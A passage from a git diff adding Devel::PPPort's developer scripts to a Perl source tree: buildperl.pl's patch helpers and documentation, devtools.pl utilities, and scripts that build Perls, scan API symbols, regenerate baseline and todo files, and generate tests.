++# gcc 3.1 complains about adding -Idirectories that it already knows about,
++# so we will take those off from locincpth.
++case "$gccversion" in
++3*)
++ echo "main(){}">try.c
++ for incdir in `$cc -v -c try.c 2>&1 | \
++ sed '1,/^#include <\.\.\.>/d;/^End of search list/,$d;s/^ //'` ; do
++ locincpth=`echo $locincpth | sed s!$incdir!!`
++ done
++ $rm -f try try.*
++esac
++
+ : What should the include directory be ?
+ echo " "
+ $echo $n "Hmm... $c"
+END
+}
+
+sub patch_makedepend_lc
+{
+ patch(<<'END');
+--- makedepend.SH
++++ makedepend.SH
+@@ -58,6 +58,10 @@ case $PERL_CONFIG_SH in
+ ;;
+ esac
+
++# Avoid localized gcc/cc messages
++LC_ALL=C
++export LC_ALL
++
+ # We need .. when we are in the x2p directory if we are using the
+ # cppstdin wrapper script.
+ # Put .. and . first so that we pick up the present cppstdin, not
+END
+}
+
+sub patch
+{
+ my($patch) = @_;
+ print "patching $_\n" for $patch =~ /^\+{3}\s+(\S+)/gm;
+ my $diff = 'tmp.diff';
+ write_or_die($diff, $patch);
+ run_or_die("patch -s -p0 <$diff");
+ unlink $diff or die "unlink $diff: $!\n";
+}
+
+sub write_or_die
+{
+ my($file, $data) = @_;
+ my $fh = new IO::File ">$file" or die "$file: $!\n";
+ $fh->print($data);
+}
+
+sub run_or_die
+{
+ # print "[running @_]\n";
+ system "@_" and die "@_: $?\n";
+}
+
+sub run
+{
+ # print "[running @_]\n";
+ system "@_" and warn "@_: $?\n";
+}
+
+__END__
+
+=head1 NAME
+
+buildperl.pl - build/install perl distributions
+
+=head1 SYNOPSIS
+
+ perl buildperl.pl [options]
+
+ --help show this help
+
+ --source=directory directory containing source tarballs
+ [default: /tmp/perl/source]
+
+ --build=directory directory used for building perls [EXPAND]
+ [default: /tmp/perl/build/<config>]
+
+ --prefix=directory use this installation prefix [EXPAND]
+ [default:
+ /tmp/perl/install/<config>/<perl>]
+
+ --config=configuration build this configuration [MULTI]
+ [default: all possible configurations]
+
+ --perl=version build this version of perl [MULTI]
+ [default: all possible versions]
+
+ --force rebuild and install already installed
+ versions
+
+ --test run test suite after building
+
+ --noinstall don't install after building
+
+ --patch only patch the perl source in the current
+ directory
+
+ --oneshot build from the perl source in the current
+ directory (extra arguments are passed to
+ Configure)
+
+ options tagged with [MULTI] can be given multiple times
+
+ options tagged with [EXPAND] expand the following items
+
+ <perl> versioned perl directory (e.g. 'perl-5.6.1')
+ <version> perl version (e.g. '5.6.1')
+ <config> name of the configuration (e.g. 'default')
+
+=head1 EXAMPLES
+
+The following examples assume that your Perl source tarballs are
+in F</tmp/perl/source>. If they are somewhere else, use the C<--source>
+option to specify a different source directory.
+
+To build a default configuration of perl5.004_05 and install it
+to F</opt/perl5.004_05>, you would say:
+
+ buildperl.pl --prefix='/opt/<perl>' --perl=5.004_05 --config=default
+
+To build debugging configurations of all perls in the source directory
+and install them to F</opt>, use:
+
+ buildperl.pl --prefix='/opt/<perl>' --config=debug
+
+To build all configurations for perl-5.8.5 and perl-5.8.6, test them
+and don't install them, run:
+
+ buildperl.pl --perl=5.8.5 --perl=5.8.6 --test --noinstall
+
+To build and install a single version of perl with special configuration
+options, use:
+
+ buildperl.pl --perl=5.6.0 --prefix=/opt/p560ld --oneshot -- -des \
+ -Duselongdouble
+
+=head1 COPYRIGHT
+
+Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort> and L<HACKERS>.
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl
new file mode 100644
index 00000000000..465c3cca255
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/devtools.pl
@@ -0,0 +1,123 @@
+################################################################################
+#
+# devtools.pl -- various utility functions
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use IO::File;
+
+eval "use Term::ANSIColor";
+$@ and eval "sub colored { pop; @_ }";
+
+my @argvcopy = @ARGV;
+
+sub verbose
+{
+ if ($opt{verbose}) {
+ my @out = @_;
+ s/^(.*)/colored("($0) ", 'bold blue').colored($1, 'blue')/eg for @out;
+ print STDERR @out;
+ }
+}
+
+sub ddverbose
+{
+ return $opt{verbose} ? ('--verbose') : ();
+}
+
+sub runtool
+{
+ my $opt = ref $_[0] ? shift @_ : {};
+ my($prog, @args) = @_;
+ my $sysstr = join ' ', map { "'$_'" } $prog, @args;
+ $sysstr .= " >$opt->{'out'}" if exists $opt->{'out'};
+ $sysstr .= " 2>$opt->{'err'}" if exists $opt->{'err'};
+ verbose("running $sysstr\n");
+ my $rv = system $sysstr;
+ verbose("$prog => exit code $rv\n");
+ return not $rv;
+}
+
+sub runperl
+{
+ my $opt = ref $_[0] ? shift @_ : {};
+ runtool($opt, $^X, @_);
+}
+
+sub run
+{
+ my $prog = shift;
+ my @args = @_;
+
+ runtool({ 'out' => 'tmp.out', 'err' => 'tmp.err' }, $prog, @args);
+
+ my $out = IO::File->new("tmp.out") or die "tmp.out: $!\n";
+ my $err = IO::File->new("tmp.err") or die "tmp.err: $!\n";
+
+ my %rval = (
+ status => $? >> 8,
+ stdout => [<$out>],
+ stderr => [<$err>],
+ didnotrun => 0,
+ );
+
+ unlink "tmp.out", "tmp.err";
+
+ $? & 128 and $rval{core} = 1;
+ $? & 127 and $rval{signal} = $? & 127;
+
+ return \%rval;
+}
+
+sub ident_str
+{
+ return "$^X $0 @argvcopy";
+}
+
+sub identify
+{
+ verbose(ident_str() . "\n");
+}
+
+sub ask($)
+{
+ my $q = shift;
+ my $a;
+ local $| = 1;
+ print "\n$q [y/n] ";
+ do { $a = <>; } while ($a !~ /^\s*([yn])\s*$/i);
+ return lc $1 eq 'y';
+}
+
+sub quit_now
+{
+ print "\nSorry, cannot continue.\n\n";
+ exit 1;
+}
+
+sub ask_or_quit
+{
+ quit_now unless &ask;
+}
+
+sub eta
+{
+ my($start, $i, $n) = @_;
+ return "--:--:--" if $i < 3;
+ my $elapsed = tv_interval($start);
+ my $h = int($elapsed*($n-$i)/$i);
+ my $s = $h % 60; $h /= 60;
+ my $m = $h % 60; $h /= 60;
+ return sprintf "%02d:%02d:%02d", $h, $m, $s;
+}
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh
new file mode 100644
index 00000000000..ff96ccc6a64
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mkapidoc.sh
@@ -0,0 +1,81 @@
+#!/bin/bash
+################################################################################
+#
+# mkapidoc.sh -- generate apidoc.fnc from scanning the Perl source
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+function isperlroot
+{
+ [ -f "$1/embed.fnc" ] && [ -f "$1/perl.h" ]
+}
+
+function usage
+{
+ echo "USAGE: $0 [perlroot] [output-file] [embed.fnc]"
+ exit 0
+}
+
+if [ -z "$1" ]; then
+ if isperlroot "../../.."; then
+ PERLROOT=../../..
+ else
+ PERLROOT=.
+ fi
+else
+ PERLROOT=$1
+fi
+
+if [ -z "$2" ]; then
+ if [ -f "parts/apidoc.fnc" ]; then
+ OUTPUT="parts/apidoc.fnc"
+ else
+ usage
+ fi
+else
+ OUTPUT=$2
+fi
+
+if [ -z "$3" ]; then
+ if [ -f "parts/embed.fnc" ]; then
+ EMBED="parts/embed.fnc"
+ else
+ usage
+ fi
+else
+ EMBED=$3
+fi
+
+if isperlroot $PERLROOT; then
+ cat >$OUTPUT <<EOF
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: !!!! Do NOT edit this file directly! -- Edit devel/mkapidoc.sh instead. !!!!
+:
+: This file was automatically generated from the API documentation scattered
+: all over the Perl source code. To learn more about how all this works,
+: please read the F<HACKERS> file that came with this distribution.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are documented in the Perl
+: source code, but are not contained in F<embed.fnc>.
+:
+
+EOF
+ grep -hr '^=for apidoc' $PERLROOT | sed -e 's/=for apidoc //' | grep '|' | sort | uniq \
+ | perl -e'$f=pop;open(F,$f)||die"$f:$!";while(<F>){(split/\|/)[2]=~/(\w+)/;$h{$1}++}
+ while(<>){s/[ \t]+$//;(split/\|/)[2]=~/(\w+)/;$h{$1}||print}' $EMBED >>$OUTPUT
+else
+ usage
+fi
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo
new file mode 100644
index 00000000000..2eb9ea30430
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo
@@ -0,0 +1,58 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# mktodo -- generate baseline and todo files by running mktodo.pl
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+
+require './devel/devtools.pl';
+
+our %opt = (
+ base => 0,
+ check => 1,
+ verbose => 0,
+ install => '/tmp/perl/install/default',
+ blead => 'bleadperl-debug',
+);
+
+GetOptions(\%opt, qw( base check! verbose install=s blead=s blead-version=s )) or die;
+
+identify();
+
+my $outdir = 'parts/todo';
+
+my @perls = sort { $b->{version} <=> $a->{version} }
+ map { { version => `$_ -e 'printf "%.6f", \$]'`, path => $_ } }
+ ($opt{blead}, grep !/-RC\d+/, glob "$opt{install}/*/bin/perl5.*");
+
+if (exists $opt{'blead-version'}) {
+ $perls[0]{version} = $opt{'blead-version'};
+}
+
+for (1 .. $#perls) {
+ $perls[$_]{todo} = $perls[$_-1]{version};
+}
+
+shift @perls;
+
+for (@perls) {
+ my $todo = do { my $v = $_->{todo}; $v =~ s/\D+//g; $v };
+ -e "$outdir/$todo" and next;
+ my @args = ('--perl', $_->{path}, '--todo', "$outdir/$todo", '--version', "$_->{todo}");
+ push @args, '--base' if $opt{base};
+ push @args, '--verbose' if $opt{verbose};
+ push @args, '--nocheck' unless $opt{check};
+ runperl('devel/mktodo.pl', @args) or die "error running mktodo.pl [$!] [$?]\n";
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl
new file mode 100644
index 00000000000..c479eab5d1e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl
@@ -0,0 +1,374 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# mktodo.pl -- generate baseline and todo files
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+use Data::Dumper;
+use IO::File;
+use IO::Select;
+use Config;
+use Time::HiRes qw( gettimeofday tv_interval );
+
+require './devel/devtools.pl';
+
+our %opt = (
+ debug => 0,
+ base => 0,
+ verbose => 0,
+ check => 1,
+ shlib => 'blib/arch/auto/Devel/PPPort/PPPort.so',
+);
+
+GetOptions(\%opt, qw(
+ perl=s todo=s version=s shlib=s debug base verbose check!
+ )) or die;
+
+identify();
+
+print "\n", ident_str(), "\n\n";
+
+my $fullperl = `which $opt{perl}`;
+chomp $fullperl;
+
+$ENV{SKIP_SLOW_TESTS} = 1;
+
+regen_all();
+
+my %stdsym = map { ($_ => 1) } qw (
+ strlen
+ snprintf
+ strcmp
+ memcpy
+ strncmp
+ memmove
+ memcmp
+ tolower
+ exit
+ memset
+ vsnprintf
+ siglongjmp
+ sprintf
+);
+
+my %sym;
+for (`$Config{nm} $fullperl`) {
+ chomp;
+ /\s+T\s+(\w+)\s*$/ and $sym{$1}++;
+}
+keys %sym >= 50 or die "less than 50 symbols found in $fullperl\n";
+
+my %all = %{load_todo($opt{todo}, $opt{version})};
+my @recheck;
+
+my $symmap = get_apicheck_symbol_map();
+
+for (;;) {
+ my $retry = 1;
+ my $trynm = 1;
+ regen_apicheck();
+
+retry:
+ my(@new, @tmp, %seen);
+
+ my $r = run(qw(make));
+ $r->{didnotrun} and die "couldn't run make: $!\n";
+
+ for my $l (@{$r->{stderr}}) {
+ if ($l =~ /_DPPP_test_(\w+)/) {
+ if (!$seen{$1}++) {
+ my @s = grep { exists $sym{$_} } $1, "Perl_$1", "perl_$1";
+ if (@s) {
+ push @tmp, [$1, "E (@s)"];
+ }
+ else {
+ push @new, [$1, "E"];
+ }
+ }
+ }
+ }
+
+ if ($r->{status} == 0) {
+ my @u;
+ my @usym;
+
+ if ($trynm) {
+ @u = eval { find_undefined_symbols($fullperl, $opt{shlib}) };
+ warn "warning: $@" if $@;
+ $trynm = 0;
+ }
+
+ unless (@u) {
+ $r = run(qw(make test));
+ $r->{didnotrun} and die "couldn't run make test: $!\n";
+ $r->{status} == 0 and last;
+
+ for my $l (@{$r->{stderr}}) {
+ if ($l =~ /undefined symbol: (\w+)/) {
+ push @u, $1;
+ }
+ }
+ }
+
+ for my $u (@u) {
+ for my $m (keys %{$symmap->{$u}}) {
+ if (!$seen{$m}++) {
+ my $pl = $m;
+ $pl =~ s/^[Pp]erl_//;
+ my @s = grep { exists $sym{$_} } $pl, "Perl_$pl", "perl_$pl";
+ push @new, [$m, @s ? "U (@s)" : "U"];
+ }
+ }
+ }
+ }
+
+ @new = grep !$all{$_->[0]}, @new;
+
+ unless (@new) {
+ @new = grep !$all{$_->[0]}, @tmp;
+ }
+
+ unless (@new) {
+ if ($retry > 0) {
+ $retry--;
+ regen_all();
+ goto retry;
+ }
+ print Dumper($r);
+ die "no new TODO symbols found...";
+ }
+
+ # don't recheck undefined symbols reported by the dynamic linker
+ push @recheck, map { $_->[0] } grep { $_->[1] !~ /^U/ } @new;
+
+ for (@new) {
+ sym('new', @$_);
+ $all{$_->[0]} = $_->[1];
+ }
+
+ write_todo($opt{todo}, $opt{version}, \%all);
+}
+
+if ($opt{check}) {
+ my $ifmt = '%' . length(scalar @recheck) . 'd';
+ my $t0 = [gettimeofday];
+
+ RECHECK: for my $i (0 .. $#recheck) {
+ my $sym = $recheck[$i];
+ my $cur = delete $all{$sym};
+
+ sym('chk', $sym, $cur, sprintf(" [$ifmt/$ifmt, ETA %s]",
+ $i + 1, scalar @recheck, eta($t0, $i, scalar @recheck)));
+
+ write_todo($opt{todo}, $opt{version}, \%all);
+
+ if ($cur eq "E (Perl_$sym)") {
+ # we can try a shortcut here
+ regen_apicheck($sym);
+
+ my $r = run(qw(make test));
+
+ if (!$r->{didnotrun} && $r->{status} == 0) {
+ sym('del', $sym, $cur);
+ next RECHECK;
+ }
+ }
+
+ # run the full test
+ regen_all();
+
+ my $r = run(qw(make test));
+
+ $r->{didnotrun} and die "couldn't run make test: $!\n";
+
+ if ($r->{status} == 0) {
+ sym('del', $sym, $cur);
+ }
+ else {
+ $all{$sym} = $cur;
+ }
+ }
+}
+
+write_todo($opt{todo}, $opt{version}, \%all);
+
+run(qw(make realclean));
+
+exit 0;
+
+sub sym
+{
+ my($what, $sym, $reason, $extra) = @_;
+ $extra ||= '';
+ my %col = (
+ 'new' => 'bold red',
+ 'chk' => 'bold magenta',
+ 'del' => 'bold green',
+ );
+ $what = colored("$what symbol", $col{$what});
+
+ printf "[%s] %s %-30s # %s%s\n",
+ $opt{version}, $what, $sym, $reason, $extra;
+}
+
+sub regen_all
+{
+ my @mf_arg = ('--with-apicheck', 'OPTIMIZE=-O0 -w');
+ push @mf_arg, qw( DEFINE=-DDPPP_APICHECK_NO_PPPORT_H ) if $opt{base};
+
+ # just to be sure
+ run(qw(make realclean));
+ run($fullperl, "Makefile.PL", @mf_arg)->{status} == 0
+ or die "cannot run Makefile.PL: $!\n";
+}
+
+sub regen_apicheck
+{
+ unlink qw(apicheck.c apicheck.o);
+ runtool({ out => '/dev/null' }, $fullperl, 'apicheck_c.PL', map { "--api=$_" } @_)
+ or die "cannot regenerate apicheck.c\n";
+}
+
+sub load_todo
+{
+ my($file, $expver) = @_;
+
+ if (-e $file) {
+ my $f = new IO::File $file or die "cannot open $file: $!\n";
+ my $ver = <$f>;
+ chomp $ver;
+ if ($ver eq $expver) {
+ my %sym;
+ while (<$f>) {
+ chomp;
+ /^(\w+)\s+#\s+(.*)/ or goto nuke_file;
+ exists $sym{$1} and goto nuke_file;
+ $sym{$1} = $2;
+ }
+ return \%sym;
+ }
+
+nuke_file:
+ undef $f;
+ unlink $file or die "cannot remove $file: $!\n";
+ }
+
+ return {};
+}
+
+sub write_todo
+{
+ my($file, $ver, $sym) = @_;
+ my $f;
+
+ $f = new IO::File ">$file" or die "cannot open $file: $!\n";
+ $f->print("$ver\n");
+
+ for (sort keys %$sym) {
+ $f->print(sprintf "%-30s # %s\n", $_, $sym->{$_});
+ }
+}
+
+sub find_undefined_symbols
+{
+ my($perl, $shlib) = @_;
+
+ my $ps = read_sym(file => $perl, options => [qw( --defined-only )]);
+ my $ls = read_sym(file => $shlib, options => [qw( --undefined-only )]);
+
+ my @undefined;
+
+ for my $sym (keys %$ls) {
+ unless (exists $ps->{$sym}) {
+ if ($sym !~ /\@/ and $sym !~ /^_/) {
+ push @undefined, $sym unless $stdsym{$sym};
+ }
+ }
+ }
+
+ return @undefined;
+}
+
+sub read_sym
+{
+ my %opt = ( options => [], @_ );
+
+ my $r = run($Config{nm}, @{$opt{options}}, $opt{file});
+
+ if ($r->{didnotrun} or $r->{status}) {
+ die "cannot run $Config{nm}";
+ }
+
+ my %sym;
+
+ for (@{$r->{stdout}}) {
+ chomp;
+ my($adr, $fmt, $sym) = /^\s*([[:xdigit:]]+)?\s+([ABCDGINRSTUVW?-])\s+(\S+)\s*$/i
+ or die "cannot parse $Config{nm} output:\n[$_]\n";
+ $sym{$sym} = { format => $fmt };
+ $sym{$sym}{address} = $adr if defined $adr;
+ }
+
+ return \%sym;
+}
+
+sub get_apicheck_symbol_map
+{
+ my $r;
+
+ while (1) {
+ $r = run(qw(make apicheck.i));
+
+ last unless $r->{didnotrun} or $r->{status};
+
+ my %sym = map { /error: macro "(\w+)" (?:requires|passed) \d+ argument/ ? ($1 => 'A') : () }
+ @{$r->{stderr}};
+
+ if (keys %sym) {
+ for my $s (sort keys %sym) {
+ sym('new', $s, $sym{$s});
+ $all{$s} = $sym{$s};
+ }
+ write_todo($opt{todo}, $opt{version}, \%all);
+ regen_apicheck();
+ }
+ else {
+ die "cannot run make apicheck.i ($r->{didnotrun} / $r->{status}):\n".
+ join('', @{$r->{stdout}})."\n---\n".join('', @{$r->{stderr}});
+ }
+ }
+
+ my $fh = IO::File->new('apicheck.i')
+ or die "cannot open apicheck.i: $!";
+
+ local $_;
+ my %symmap;
+ my $cur;
+
+ while (<$fh>) {
+ next if /^#/;
+ if (defined $cur) {
+ for my $sym (/\b([A-Za-z_]\w+)\b/g) {
+ $symmap{$sym}{$cur}++;
+ }
+ undef $cur if /^}$/;
+ }
+ else {
+ /_DPPP_test_(\w+)/ and $cur = $1;
+ }
+ }
+
+ return \%symmap;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate
new file mode 100644
index 00000000000..5ffa30ccef7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate
@@ -0,0 +1,160 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# regenerate -- regenerate baseline and todo files
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use File::Path;
+use File::Copy;
+use Getopt::Long;
+use Pod::Usage;
+
+require './devel/devtools.pl';
+
+our %opt = (
+ check => 1,
+ verbose => 0,
+);
+
+GetOptions(\%opt, qw( check! verbose install=s blead=s blead-version=s )) or die pod2usage();
+
+identify();
+
+unless (-e 'parts/embed.fnc' and -e 'parts/apidoc.fnc') {
+ print "\nOooops, $0 must be run from the Devel::PPPort root directory.\n";
+ quit_now();
+}
+
+ask_or_quit("Are you sure you have updated parts/embed.fnc and parts/apidoc.fnc?");
+
+my %files = map { ($_ => [glob "parts/$_/5*"]) } qw( base todo );
+
+my(@notwr, @wr);
+for my $f (map @$_, values %files) {
+ push @{-w $f ? \@wr : \@notwr}, $f;
+}
+
+if (@notwr) {
+ if (@wr) {
+ print "\nThe following files are not writable:\n\n";
+ print " $_\n" for @notwr;
+ print "\nAre you sure you have checked out these files?\n";
+ }
+ else {
+ print "\nAll baseline / todo file are not writable.\n";
+ ask_or_quit("Do you want to try to check out these files?");
+ unless (runtool("wco", "-l", "-t", "locked by $0", @notwr)) {
+ print "\nSomething went wrong while checking out the files.\n";
+ quit_now();
+ }
+ }
+}
+
+for my $dir (qw( base todo )) {
+ my $cur = "parts/$dir";
+ my $old = "$cur-old";
+ if (-e $old) {
+ ask_or_quit("Do you want me to remove the old $old directory?");
+ rmtree($old);
+ }
+ mkdir $old;
+ print "\nBacking up $cur in $old.\n";
+ for my $src (@{$files{$dir}}) {
+ my $dst = $src;
+ $dst =~ s/\Q$cur/$old/ or die "Ooops!";
+ move($src, $dst) or die "Moving $src to $dst failed: $!\n";
+ }
+}
+
+my @perlargs;
+push @perlargs, "--install=$opt{install}" if exists $opt{install};
+push @perlargs, "--blead=$opt{blead}" if exists $opt{blead};
+
+my $T0 = time;
+my @args = ddverbose();
+push @args, '--nocheck' unless $opt{check};
+push @args, "--blead-version=$opt{'blead-version'}" if exists $opt{'blead-version'};
+push @args, @perlargs;
+
+print "\nBuilding baseline files...\n\n";
+
+unless (runperl('devel/mktodo', '--base', @args)) {
+ print "\nSomething went wrong while building the baseline files.\n";
+ quit_now();
+}
+
+print "\nMoving baseline files...\n\n";
+
+for my $src (glob 'parts/todo/5*') {
+ my $dst = $src;
+ $dst =~ s/todo/base/ or die "Ooops!";
+ move($src, $dst) or die "Moving $src to $dst failed: $!\n";
+}
+
+print "\nBuilding todo files...\n\n";
+
+unless (runperl('devel/mktodo', @args)) {
+ print "\nSomething went wrong while building the baseline files.\n";
+ quit_now();
+}
+
+print "\nAdding remaining baseline info...\n\n";
+
+unless (runperl('Makefile.PL') and
+ runtool('make') and
+ runperl('devel/scanprov', '--mode=write', @perlargs)) {
+ print "\nSomething went wrong while adding the baseline info.\n";
+ quit_now();
+}
+
+my($wall, $usr, $sys, $cusr, $csys) = (time - $T0, times);
+my $cpu = sprintf "%.2f", $usr + $sys + $cusr + $csys;
+$usr = sprintf "%.2f", $usr + $cusr;
+$sys = sprintf "%.2f", $sys + $csys;
+
+print <<END;
+
+API info regenerated successfully.
+
+Finished in $wall wallclock secs ($usr usr + $sys sys = $cpu CPU)
+
+Don't forget to check in the files in parts/base and parts/todo.
+
+END
+
+__END__
+
+=head1 NAME
+
+regenerate - Automatically regenerate Devel::PPPort's API information
+
+=head1 SYNOPSIS
+
+ regenerate [options]
+
+ --nocheck don't recheck symbols that caused an error
+ --verbose show verbose output
+
+=head1 COPYRIGHT
+
+Copyright (c) 2006-2013, Marcus Holland-Moritz.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort> and L<HACKERS>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov
new file mode 100644
index 00000000000..804524cb4a9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov
@@ -0,0 +1,78 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# scanprov -- scan Perl headers for provided macros
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+
+require './parts/ppptools.pl';
+
+our %opt = (
+ mode => 'check',
+ install => '/tmp/perl/install/default',
+ blead => 'bleadperl',
+);
+
+GetOptions(\%opt, qw( install=s mode=s blead=s )) or die;
+
+my $write = $opt{mode} eq 'write';
+
+my %embed = map { ( $_->{name} => 1 ) }
+ parse_embed(qw(parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc ));
+
+my @provided = grep { !exists $embed{$_} }
+ map { /^(\w+)/ ? $1 : () }
+ `$^X ppport.h --list-provided`;
+
+my @perls = sort { $b->{version} <=> $a->{version} }
+ map { { version => `$_ -e 'printf "%.6f", \$]'`, path => $_ } }
+ ($opt{blead}, glob "$opt{install}/*/bin/perl5.*");
+
+for (1 .. $#perls) {
+ $perls[$_]{todo} = $perls[$_-1]{version};
+}
+
+shift @perls;
+
+my %v;
+
+for my $p (@perls) {
+ print "checking perl $p->{version}...\n";
+ my $archlib = `$p->{path} -MConfig -l -e 'print \$Config{archlib}'`;
+ chomp $archlib;
+ local @ARGV = glob "$archlib/CORE/*.h";
+ my %sym;
+ while (<>) { $sym{$_}++ for /(\w+)/g; }
+ @provided = map { $sym{$_} or $v{$p->{todo}}{$_}++; $sym{$_} ? $_ : () } @provided;
+}
+
+my $out = 'parts/base';
+my $todo = parse_todo($out);
+
+for my $v (keys %v) {
+ my @new = sort grep { !exists $todo->{$_} } keys %{$v{$v}};
+ @new or next;
+ my $file = $v;
+ $file =~ s/\.//g;
+ $file = "$out/$file";
+ -e $file or die "non-existent: $file\n";
+ print "-- $file --\n";
+ $write and (open F, ">>$file" or die "$file: $!\n");
+ for (@new) {
+ print "adding $_\n";
+ $write and printf F "%-30s # added by $0\n", $_;
+ }
+ $write and close F;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL
new file mode 100644
index 00000000000..02c91104636
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL
@@ -0,0 +1,110 @@
+################################################################################
+#
+# mktests.PL -- generate test files for Devel::PPPort
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my $template = do { local $/; <DATA> };
+
+generate_tests();
+
+sub generate_tests
+{
+ my @tests;
+ my $file;
+
+ for $file (all_files_in_dir('parts/inc')) {
+ my($testfile) = $file =~ /(\w+)\.?$/; # VMS has a trailing dot
+ $testfile = "t/$testfile.t";
+
+ my $spec = parse_partspec($file);
+ my $plan = 0;
+
+ if (exists $spec->{tests}) {
+ exists $spec->{OPTIONS}{tests} &&
+ exists $spec->{OPTIONS}{tests}{plan}
+ or die "No plan for tests in $file\n";
+
+ print "generating $testfile\n";
+
+ my $tmpl = $template;
+ $tmpl =~ s/__SOURCE__/$file/mg;
+ $tmpl =~ s/__PLAN__/$spec->{OPTIONS}{tests}{plan}/mg;
+ $tmpl =~ s/^__TESTS__$/$spec->{tests}/mg;
+
+ open FH, ">$testfile" or die "$testfile: $!\n";
+ print FH $tmpl;
+ close FH;
+
+ push @tests, $testfile;
+ }
+ }
+
+ return @tests;
+}
+
+__DATA__
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or __SOURCE__ instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (__PLAN__) {
+ load();
+ plan(tests => __PLAN__);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
